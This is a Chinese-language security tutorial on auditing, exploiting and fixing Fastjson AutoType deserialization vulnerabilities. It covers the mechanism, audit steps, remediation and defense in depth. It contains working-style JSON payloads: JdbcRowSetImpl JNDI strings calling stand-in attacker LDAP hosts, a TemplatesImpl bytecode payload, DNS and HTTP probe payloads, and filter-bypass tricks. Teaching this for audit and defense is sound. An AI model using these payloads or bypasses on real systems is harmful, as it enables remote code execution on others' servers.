
1. 项目概述为什么Fastjson反序列化漏洞是Java安全的“头号通缉犯”如果你是一名Java开发者或者正在从事应用安全、代码审计相关的工作那么“Fastjson反序列化漏洞”这个名字你一定不陌生。它几乎成了近年来Java应用安全领域一个绕不开的“经典”话题频繁出现在各大安全厂商的漏洞预警、企业的应急响应报告以及安全工程师的面试八股文里。我处理过不少由Fastjson引发的安全事件从简单的服务异常到整个内网被渗透其威力不容小觑。简单来说这个漏洞的核心在于攻击者可以精心构造一段恶意的JSON数据当它被有漏洞的Fastjson库解析时会触发Java对象的反序列化过程并在此过程中执行攻击者预设的任意代码。这相当于给攻击者开了一个“后门”让他们能够远程控制你的服务器。为什么Fastjson特别容易出问题这得从它的设计初衷说起。Fastjson是阿里巴巴开源的一款高性能JSON处理器它的一个招牌特性就是支持“自动类型”AutoType。为了让JSON字符串能方便地转换成复杂的Java对象尤其是多态对象Fastjson允许在JSON中通过type字段指定要反序列化的目标类的全限定名。这个功能非常强大极大提升了开发便利性但同时也埋下了巨大的安全隐患如果反序列化过程没有对type指定的类名进行严格的白名单控制攻击者就可以指向任何一个存在于Classpath中、且构造方法或getter/setter方法“有毒”的类从而执行恶意操作。理解这个漏洞不仅是应对安全审计的必需技能更是深入理解Java序列化机制、类加载过程以及安全编程思想的绝佳切入点。接下来我将从一个代码审计实战者的角度带你层层剥开Fastjson反序列化漏洞的外壳从原理到利用从防御到实战审计让你不仅知道它是什么更清楚如何找到它、验证它以及修复它。2. 漏洞原理深度拆解AutoType是如何成为“罪魁祸首”的要理解漏洞我们必须先理解Fastjson正常的工作机制以及AutoType这个特性是如何被滥用的。2.1 Fastjson序列化与反序列化的标准流程在安全的场景下Fastjson的工作流程是这样的序列化Object - JSON将一个Java对象转换成JSON字符串。Fastjson会遍历对象的字段通过getter方法或直接访问public字段将其名称和值组成键值对。User user new User(张三, 25); String jsonString JSON.toJSONString(user); // 输出{age:25,name:张三}反序列化JSON - Object将JSON字符串恢复成Java对象。最常见的方法是使用JSON.parseObject()。String jsonString {\name\:\李四\,\age\:30}; User user JSON.parseObject(jsonString, User.class); // 明确指定目标类型为User.class在这个安全的例子里我们通过第二个参数User.class明确告诉Fastjson“请把这个JSON还原成User对象”。Fastjson就会按照User类的结构去解析并赋值。2.2 AutoType机制的引入与风险问题出在另一种使用方式上当你不指定具体类型时Fastjson为了能还原出复杂的对象结构比如接口、抽象类的具体实现引入了type元信息。String jsonString {\type\:\com.example.User\,\name\:\王五\,\age\:28}; Object obj JSON.parse(jsonString); // 注意这里没有指定Class当Fastjson解析到type时它会尝试使用这个字符串com.example.User去加载对应的类。这个过程大致如下解析JSON识别type值。使用ClassLoader.loadClass()或类似方法加载com.example.User类。实例化这个类通常调用无参构造方法或特定的工厂方法。遍历JSON中剩余的键寻找对应的setter方法格式为setXxx或public字段并进行赋值。风险点就在这里如果攻击者将type的值设置为一个精心挑选的“危险类”那么第3步和第4步就可能变成执行恶意代码的触发器。2.3 从恶意类到代码执行关键触发点分析哪些是“危险类”它们通常具有以下特征存在于广泛使用的第三方库中如commons-collections、commons-beanutils、各种JDBC驱动包、模板引擎等。在构造方法、getter、setter或toString等方法中包含了可被外部输入控制的危险操作。最常见的是利用TemplatesImpl加载字节码com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个JDK内部的类其getOutputProperties()方法会被Fastjson当作setter调用在内部会触发字节码的加载和初始化从而执行任意Java字节码。利用JNDI注入如com.sun.rowset.JdbcRowSetImpl类其setDataSourceName()和setAutoCommit()方法在特定条件下会触发JNDI查找。如果JNDI地址指向攻击者控制的RMI/LDAP服务则会加载远程的恶意类。这是导致许多“Fastjson漏洞”直接与“JNDI注入”绑定的原因。利用ClassLoader动态加载某些类的getObject()或类似方法会使用URLClassLoader加载远程jar包。一个简化的攻击链条示例攻击者构造恶意JSON{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker.com/Exploit,autoCommit:true}受害应用使用有漏洞的Fastjson版本解析该JSON。Fastjson实例化JdbcRowSetImpl对象并调用setDataSourceName(“ldap://attacker.com/Exploit”)和setAutoCommit(true)。setAutoCommit(true)会触发JdbcRowSetImpl内部的connect()方法该方法去查找dataSourceName指定的JNDI地址。应用向攻击者控制的LDAP服务器发起请求LDAP服务器返回一个指向http://attacker.com/Exploit.class的引用。受害应用从攻击者控制的HTTP服务器加载Exploit.class并实例化攻击者预置在该类静态代码块或构造方法中的恶意代码如执行系统命令得以执行。注意自Fastjson 1.2.25起AutoType功能默认关闭并引入了黑白名单机制。但后续仍爆出多个绕过黑名单的漏洞如1.2.47版本的通杀绕过其根本原因在于黑名单的遗漏、缓存机制被滥用或解析特性如$ref引用导致的绕过。因此仅仅升级到“某个”安全版本可能并不够需要结合代码审计确认风险是否真正消除。3. 代码审计实战如何定位和验证Fastjson反序列化漏洞知道了原理我们如何在真实的项目代码中把它挖出来审计过程可以遵循“由面到点”的思路。3.1 全局搜索与入口点定位首先我们需要找到项目中所有使用Fastjson进行反序列化的地方特别是那些用户输入可控的入口。识别Fastjson依赖检查项目的pom.xml或build.gradle文件确认引入的Fastjson版本。版本号是风险评估的第一要素。重点关注1.2.25至1.2.80之间的版本它们曾曝出多个高危绕过漏洞。!-- Maven 示例 -- dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.62/version !-- 这是一个存在已知绕过风险的版本 -- /dependency搜索关键API调用在IDE或代码仓库中全局搜索以下模式JSON.parse(或JSON.parseObject(或JSON.parseArray(这是最直接的入口。parseObject(String text)这是风险最高的方法因为它没有指定Class参数完全依赖type或默认映射。parseObject(String text, Class clazz)相对安全但需确认clazz是否可能为Object.class、Serializable.class等过于宽泛的类型。JSON.parse(String text, Feature feature)注意传入的Feature配置例如Feature.SupportNonPublicField可能会改变反序列化行为。RequestBody配合自定义对象接收参数在Spring MVC中如果全局或局部配置了Fastjson的HttpMessageConverter那么所有接收JSON的Controller接口都可能成为入口。追踪数据流找到调用点后向上回溯分析传入的String text参数来源。它是否来自HttpServletRequest.getParameter()/getInputStream()RequestBody注解的参数RPC调用的参数读取文件、数据库、缓存、消息队列如Kafka、RabbitMQ的内容任何外部系统传入的、可控的字符串数据3.2 漏洞验证与利用链构造找到可疑入口后不能仅凭版本号就下结论需要验证其是否真正可利用。环境确认Fastjson版本精确版本号。JDK版本某些利用链对JDK版本有要求如高版本JDK默认限制了JNDI远程加载。Classpath目标应用中是否存在常见的危险依赖库如commons-collections 3.x/4.x,commons-beanutils,xalan等。可以使用工具扫描或在审计时检查pom.xml。构造探测Payload无害验证 在发起真正的攻击测试前先使用无害的Payload验证入口是否畅通且存在漏洞。经典的探测方法是利用java.net.InetAddress或java.net.URL类通过DNS查询或HTTP请求来外带信息。{ type: java.net.InetAddress, val: dnslog-attacker-platform.xxx }或者利用javax.swing.JEditorPane{ type: javax.swing.JEditorPane, page: http://your-server.com/log }如果应用在解析该JSON后向dnslog-attacker-platform.xxx发起了DNS解析请求或向your-server.com发起了HTTP请求则证明type被成功解析且类被加载漏洞存在。利用链选择与Payload构造 根据环境确认的结果选择合适的利用链Gadget Chain。JNDI注入链适用于较低版本JDK如≤8u191且目标出网的情况。使用JdbcRowSetImpl。{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker-ip:1389/Exploit,autoCommit:true}需要自搭一个恶意的RMI/LDAP服务器如使用marshalsec工具来托管恶意类。TemplatesImpl链适用于目标存在xalan依赖或使用特定JDK版本且可以传入较长的JSON字符串因为需要嵌入Base64编码的字节码。这个链通常不需要出网。{ type: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, _bytecodes: [yv66vgAAADQA...恶意类的Base64编码字节码], _name: a.b, _tfactory: {}, _outputProperties: {} }BCEL ClassLoader链在特定版本的Fastjson中可以利用com.sun.org.apache.bcel.internal.util.ClassLoader加载BCEL格式的字节码。其他第三方库链如果存在commons-collections等库可以构造更复杂的链实现命令执行。实战测试在授权测试环境下进行将构造好的Payload通过找到的入口如HTTP API发送。观察攻击服务器是否收到连接DNS/HTTP/JNDI或目标应用是否执行了预设命令如创建文件、执行ping命令等。实操心得在实际审计中很多应用会对传入的JSON做初步过滤或校验直接提交包含type的Payload可能会被拦截。可以尝试以下绕过技巧Unicode编码将type编码为\u0040\u0074\u0079\u0070\u0065。十六进制编码Fastjson支持\x形式的十六进制转义。注释绕过在某些上下文尝试插入无关字符。利用Fastjson特性如利用$ref循环引用、特殊字符等触发解析差异。这些技巧高度依赖于具体的Fastjson版本。3.3 自动化辅助工具手动审计效率较低可以借助一些优秀的开源工具进行辅助扫描和利用fastjson-blacklistFastjson历史版本的黑名单列表用于对比和自查。fastjson-exploit集合了多种利用链的漏洞利用工具。Burp Suite插件如FastjsonScan等可以用于在渗透测试过程中被动扫描和主动探测。代码静态分析工具如Fortify、CodeQL等可以编写自定义规则来定位JSON.parseObject()等危险调用。重要提醒工具只是辅助深度理解原理和手动代码跟踪才是审计的根本。自动化工具可能会误报或漏报需要人工进行确认。4. 漏洞修复与安全加固方案一旦确认漏洞修复必须及时、彻底。以下是分层递进的修复建议。4.1 紧急缓解措施治标如果无法立即升级或修改代码可以考虑以下WAF或网关层面的临时拦截规则请求体过滤在流量入口处过滤请求体Content-Type: application/json中是否包含type、\u0040type等关键字符。但要注意这种规则可能被绕过且可能误伤正常业务如果业务确实使用了AutoType。禁用不必要的HTTP方法如果漏洞接口只供内部调用可以考虑在网关上限制公网访问。4.2 根本解决方案治本升级Fastjson至安全版本这是最推荐、最根本的解决方案。务必升级到官方确认为安全的最新版本如1.2.83及以上版本。升级步骤修改pom.xml或build.gradle中的版本号。执行mvn clean compile或相应的构建命令解决因版本升级可能带来的API不兼容问题。Fastjson在安全版本中可能会移除或修改某些高危API。进行全面回归测试确保业务功能正常。全局关闭AutoType Support强烈推荐 即使升级了版本如果业务用不到AutoType特性应在应用初始化时全局关闭它。这是最有效的安全加固方式。import com.alibaba.fastjson.parser.ParserConfig; // 在应用启动类或配置类中执行 PostConstruct public void disableFastjsonAutoType() { ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 全局关闭 // 同时强烈建议设置安全模式这是1.2.68及以上版本提供的更强防护 ParserConfig.getGlobalInstance().setSafeMode(true); }setSafeMode(true)开启后将完全禁用AutoType任何type都会被拒绝黑白名单机制失效安全性最高。使用安全的白名单机制 如果业务必须使用AutoType例如处理来自可信源的、类型动态的JSON则必须启用并严格配置白名单。绝对不要使用黑名单历史证明黑名单总会被绕过。使用addAccept()精细配置白名单只允许反序列化确切的、业务需要的类。ParserConfig config ParserConfig.getGlobalInstance(); config.setAutoTypeSupport(true); // 如果需要AutoType先开启 config.addAccept(com.yourcompany.securemodel.); // 接受指定包下的所有类 config.addAccept(com.legitvendor.safeclass); // 接受某个具体的类 // 注意白名单配置必须在任何反序列化操作发生之前完成。代码层修复指定具体类型在所有使用JSON.parseObject()的地方强制传入第二个参数Class类型。这是最好的编码习惯。// 不安全 User user JSON.parseObject(jsonStr); // 或 parseObject(jsonStr, Object.class) // 安全 User user JSON.parseObject(jsonStr, User.class);使用TypeReference对于泛型集合使用TypeReference来明确类型。ListUser userList JSON.parseObject(jsonStr, new TypeReferenceListUser(){});输入验证与过滤对不可信的JSON字符串在解析前进行严格的格式和内容校验。4.3 安全开发规范长效预防将安全要求融入开发流程避免漏洞引入依赖管理使用Maven Enforcer等插件禁止项目引入已知存在高危漏洞的Fastjson版本如[1.2.24, 1.2.25)以及一系列存在绕过问题的版本。代码审查在Code Review环节将“使用JSON.parseObject()时必须指定Class类型”作为硬性规则。安全组件考虑在团队内封装一个安全的JSON工具类内部默认关闭AutoType并记录日志供所有业务方统一调用。持续监控使用软件成分分析SCA工具持续监控项目依赖中Fastjson的版本和安全状况。5. 审计案例延伸与深度思考Fastjson的反序列化问题并非孤例它是整个Java反序列化漏洞生态的一个典型代表。通过这个案例我们可以延伸到更广阔的安全视野。5.1 与其他反序列化漏洞的关联对比Apache Commons Collections (CC链)这是Java反序列化的“鼻祖”级漏洞链。其原理与Fastjson不同它利用的是ObjectInputStream反序列化二进制数据时递归调用Transformer链来执行命令。Fastjson的漏洞是“JSON反序列化时任意类加载”而CC链是“原生反序列化时利用类方法链”。但两者最终利用的“危险类”如InvokerTransformer和思想Gadget Chain是相通的。Jackson另一个流行的JSON库。Jackson在默认配置下比Fastjson安全因为它不支持类似type的功能。但Jackson也可以通过启用enableDefaultTyping()或使用JsonTypeInfo注解来支持多态类型处理如果配置不当同样可能引发反序列化风险例如利用org.springframework.context.support.ClassPathXmlApplicationContext进行SPEL表达式注入。因此安全审计时对Jackson的检查重点在于这些特性是否被启用及如何配置。XMLDecoder (XStream)XML反序列化同样存在严重风险原理类似利用的是XML标签指定类名。核心共通点任何允许数据流指定并实例化任意类名的反序列化机制在缺乏严格限制的情况下都是极度危险的。5.2 自动化审计思路与CodeQL实践对于大型项目手动搜索效率低下。我们可以利用CodeQL编写自定义查询来系统性地挖掘此类漏洞。定位危险调用编写QL查询寻找项目中所有对JSON.parseObject、JSON.parse的调用并且分析其第一个参数即JSON字符串的数据流是否来自用户可控的源如Spring的RequestBody参数、HttpServletRequest.getParameter等。import java from MethodAccess call, Method method where method.hasName(parseObject) or method.hasName(parse) and method.getDeclaringType().hasQualifiedName(com.alibaba.fastjson, JSON) and call.getMethod() method and call.getArgument(0).getASource() // 追踪第一个参数的来源 select call, “发现Fastjson反序列化调用参数可能来自用户输入”检查是否指定Class参数进一步优化查询筛选出那些没有传递Class参数即参数个数为1的parseObject调用这些是高风险点。检查ParserConfig配置查询全局或局部ParserConfig的设置检查setAutoTypeSupport是否为true以及白名单配置是否足够严格。通过将这类查询集成到CI/CD流程中可以在代码提交阶段就发现潜在的安全问题。5.3 防御体系的纵深构建修复一个Fastjson漏洞点只是“点”上的工作。企业安全需要“面”和“体”的防御。运行时防护RASP在应用内部部署RASP探针可以实时监控反序列化行为。当检测到有尝试加载黑名单中的危险类如TemplatesImpl、JdbcRowSetImpl或执行敏感操作如Runtime.exec时立即中断请求并告警。RASP可以提供虚拟补丁在来不及升级基础组件时进行应急防护。WAF规则动态更新根据公开的漏洞利用Payload在WAF层更新拦截规则。虽然可能被绕过但能抵挡大部分自动化攻击脚本。网络层隔离限制应用服务器不必要的出网连接尤其是JNDI/LDAP/RMI端口可以彻底切断JNDI注入这类需要外连的攻击链。最小权限原则运行Java应用的容器或系统用户应遵循最小权限原则避免使用root或高权限账户从而限制漏洞成功利用后的破坏范围。在我经历的一次应急响应中一个陈旧的系统使用了有漏洞的Fastjson版本但因为它部署在一个严格限制出网策略的网络分区内攻击者虽然触发了漏洞JNDI payload却无法连接外网服务器最终攻击未能成功执行命令为我们的修复争取了宝贵时间。这充分说明了纵深防御的价值。6. 总结与个人实践心得Fastjson反序列化漏洞的审计是一场关于“信任边界”的攻防战。它的根源在于将数据解析这种底层操作与灵活的类加载机制耦合在一起并将部分控制权交给了不可信的数据源。经过这么多年的迭代和无数安全研究者的“鞭策”Fastjson本身的安全性已经得到了极大提升默认关闭AutoType、引入安全模式等都是积极的改进。但对于我们开发者和安全人员来说绝不能抱有侥幸心理。在审计和开发中我始终坚持以下几点默认不信任所有来自外部的数据HTTP请求、RPC参数、文件、消息队列在反序列化前都是不可信的。这是安全设计的基石。显式优于隐式在代码中明确指定反序列化的目标类型parseObject(jsonStr, MyClass.class)永远比让框架去猜测parseObject(jsonStr)要安全得多。这就像坐火车要对号入座而不是随便找个空位就坐。依赖管理是安全的第一道门使用诸如Dependabot、Snyk等工具持续扫描项目依赖及时将Fastjson等基础组件升级到已知的安全版本。一个陈旧的、充满漏洞的库就像房子地基里的白蚁。漏洞修复要彻底如果决定升级Fastjson一定要全局搜索所有使用到它的地方确保升级后API兼容并且最好趁此机会将那些不规范的、未指定类型的调用全部重构。同时在应用启动处加上setSafeMode(true)这相当于给这个功能上了一把最结实的锁。安全是一个持续的过程修复一个已知漏洞不代表高枕无忧。需要建立代码安全规范、推行安全的编码习惯、将静态扫描和动态测试融入CI/CD流程才能构建起主动防御的能力。最后再分享一个排查小技巧当怀疑线上存在Fastjson漏洞攻击但又不确定时可以查看应用的GC日志或监控ClassLoader加载的类数量。攻击者利用漏洞加载恶意类时可能会引起类加载数量的异常陡增。同时在日志中搜索com.alibaba.fastjson.JSONException异常特别是包含autoType is not support或not match等信息的那很可能是攻击Payload被黑名单拦截的记录这是重要的攻击线索需要立即跟进分析。安全攻防没有终点保持警惕持续学习才是应对之道。